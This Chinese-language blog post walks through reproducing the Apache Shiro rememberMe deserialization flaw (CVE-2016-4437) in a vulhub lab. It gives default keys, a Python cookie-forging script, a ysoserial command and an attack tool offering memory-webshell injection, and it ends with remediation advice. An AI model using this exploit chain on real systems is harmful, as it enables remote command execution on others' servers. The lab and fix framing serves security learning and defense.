shiro反序列化漏洞(CVE-2016-4437)漏洞复现
1、漏洞描述
Apache Shiro是一款开源强大且易用的Java安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题
在 1.2.4 版本前,加密的用户信息序列化后存储在名为remember-me的Cookie中,而且是默认ASE秘钥,Key: kPH+bIxk5D2deZiIxcaaaA==,可攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
而在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透
总结一句话:ASE秘钥不能使用已知的外部秘钥,不能泄露秘钥。
Shiro remember 思维导图
2、影响版本
Apache Shiro <= 1.2.4
漏洞特征:
shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
一些可替代的密钥:
kPH+bIxk5D2deZiIxcaaaA==
wGiHplamyXlVB11UXWol8g==
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
3AvVhmFLUs0KTA3Kprsdag==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
Z3VucwAAAAAAAAAAAAAAAA==
U3ByaW5nQmxhZGUAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
3、靶场搭建
靶场环境是使用kali搭建的vulhub靶场,
搭建命令:
cd /vulhub-master/shiro/CVE-2016-4437
CVE-2016-4437# docker-compose up -d
然后访问:http://ip:8080/
4、漏洞特征验证
第一种情况
设置代理,随便输入账号密码,使用burp抓取请求包,在返回包中set_cookie中存在rememberMe=deleteMe特征
第二种情况
如果直接发送数据包,返回包不存在特征:Set-Cookie: rememberMe=deleteMe;
可以在请求包中的cookie中添加:rememberMe=deleteMe;
然后查看返回包中是否存在特征:Set-Cookie: rememberMe=deleteMe;
5、手工漏洞利用
1.下载反序列化利用工具: ysoserial
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
payload生成代码(python3),命名为poc.py
import sys
import uuid
import base64
from Crypto.Cipher import AES
def encode_rememberme():
f = open('poc.ser','rb')
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(f.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme()
print("rememberMe={0}".format(payload.decode()))
2.访问靶场:http://ip:8080/,勾选remember me,随便输入账号密码,使用burp抓包。
- 使用ysoserial生成CommonsBeanutils1的Gadget:
java -jar ysoserial-master.jar CommonsBeanutils1 "touch /tmp/succ123" > poc.ser
再使用前面创建的poc3.py生成payload
4.将生成的payload替换到请求包cookie中
5、进入搭建靶机的机器,查看生成文件
docker ps
docker exec -it 99d2973f37e9 /bin/bash
cd /tmp
ls
6、工具利用
工具地址:https://github.com/j1anFen/shiro_attack
1.检测是否存在漏洞,爆破密钥
2.爆破利用链及回显
3.命令执行
4.注入内存马
5.使用冰蝎利用内存马
7、漏洞怎么修复
1.确定自己使用的shiro版本要高于1.2.4;
2.在代码中全局搜索 "setCipherKey(Base64.decode(" 关键字,或者"setCipherKey"方法,Base64.decode()中的字符串就是shiro的密钥,要确保该密钥的安全性,千万不要使用公开的密钥。
声明:
本文仅限于大家技术交流和学习,严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,
作者创作不容易,请大家点赞收藏支持一下。谢谢各位读者大老爷。
参考链接:https://blog.csdn.net/weixin_45605352/article/details/116846678
版权归原作者 HEAVM 所有, 如有侵权,请联系我们删除。